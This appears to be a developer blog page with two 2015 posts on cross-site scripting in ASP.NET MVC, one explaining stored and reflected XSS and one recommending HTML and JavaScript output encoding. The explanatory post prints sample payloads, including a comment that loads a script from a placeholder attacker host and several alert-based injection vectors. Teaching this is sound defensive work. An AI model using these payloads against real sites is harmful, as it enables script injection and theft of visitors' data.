Hire a web Developer and Designer to upgrade and boost your online presence with cutting edge Technologies
Showing posts with label XSS Attack. Show all posts
Showing posts with label XSS Attack. Show all posts

Wednesday, September 2, 2015

Cross Site Scripting Attack Prevention

Last week I discussed what cross site scripting attack is. In today's blog post I am going to discuss some measures which can help prevent cross site scripting attack in MVC applications.

How to Prevent

Encoding the content is the best way to prevent XSS attack. We need to encode both HTML and Javascript content. Let's discuss each of these one by one.

Encode HTML

The output on the pages should be HTML encoded or HTML attribute encoded. In Web Forms, we could use Html.Encode like this:

<% Html.Encode(Model.DataToEncode) %>

 Or shorthand like this:

<%: Model.DataToEncode %>

The Razor View Engine HTML encodes output by default. So a Model property on the View like this:

@Model.LastName

will be automatically encoded.
If we want to access raw data with no encoding then we need to use Html.Raw like this:

@Html.Raw(Model.LastName)

One should be extremely careful while using Html.Raw() as it opens doors for many security vulnerabilities.

Encode Javascript

Similarly, if we need to display user input in Javascript, we should do Javascript encoding like this:

@Ajax.JavaScriptStringEncode(ViewBag.UserName)

In the example, that I gave in my previous blog post, if the attacker tries to provide malicious input like this:

\x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e
 
 and the input is Javascript encoded then it will be rendered.

Conclusion

In order to prevent cross site scripting attack, we should not trust user input. We should always HTML encode/ Javascript encode the data.
For future updates to my weekly blog, please subscribe to the blog.

Tuesday, September 1, 2015

Cross Site Scripting attack in MVC

As everyone liked the last week's blog post on Cross Site Request Forgery attack, I decided to post about another well-known security vulnerability in MVC applications. It's called Cross Site Scripting (aka XSS) attack. Its the most common security vulnerability across the web and can be the most nasty one.

Cross Site Scripting

In simple words, it's an attack whereby attacker injects some scripts into a web page which then affects the victim. These attacks are divided into 2 categories viz Active and Passive. Let's take a look at each of these one by one.

Passive Injection

This type of attack occurs when the website accepts unsanitized input by the attacker and later displays it to the victim. Suppose we have an online messaging board or blog that allows users to post comments. If the input is accepted as is, the attacker can inject a script tag in the comment which might be something like this:

Nice Post</div><script>src=http://attackersite.com/evilscript.js</script>

The closing tag can close the previously open div and then a script tag mentions the javascript file to be executed. To find out the type of tag to close and how to structure the malicious comment might require some inspection of the web page and some hit and trials. This comment then gets saved on the server and gets displayed to others who access the webpage. The script tag posted by attacker won't be displayed when the page is rendered but the javascript will be executed on the client side. So the attacker can execute a malicious script on the victim's machine which can tamper the webpage or steal victim's personal information and send it to the attacker.

Using the script tag, attacker can point to an external javascript file or use embedded javascript. Here are some ways other than the script tag to execute javascript:

<img src="javascript:alert('Hacked');">

<body onload=alert("Hacked")>

<div style="background-image: url(javascript:alert('Hacked'))">

I can not cover all the ways by which the script can be inserted but the point is that attacker is able to execute some malicious javascript code on anyone's machine who accesses the website.

Active Injection

For active injection, the user input is directly used on the webpage and is not saved on the server. Suppose we have a website that takes user's name as input and shows a welcome message. Note that the name is coming from the query string parameter.



As an attacker, I can pass this as the query string parameter: \x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e. And this is what it does:


I was able to execute javascript code by manipulating the query string parameter displayed. Now everyone must be thinking that this is the script that the attacker executed on his own machine. How does it affect the victim? Well, the attacker might be able to make the victim click on such a malformed link which will then execute the malicious javascript on the client machine. To make the victim click on the link might require some social engineering or some other devious techniques. But again, some malicious code can be run on victim's machine without the victim's knowledge.

Conclusion

In this blog post, we saw what cross site scripting attack is and it's 2 different categories. In the next week's post, I am going to cover how to prevent the cross site scripting attacks.
For future updates to my weekly blog, please subscribe to the blog.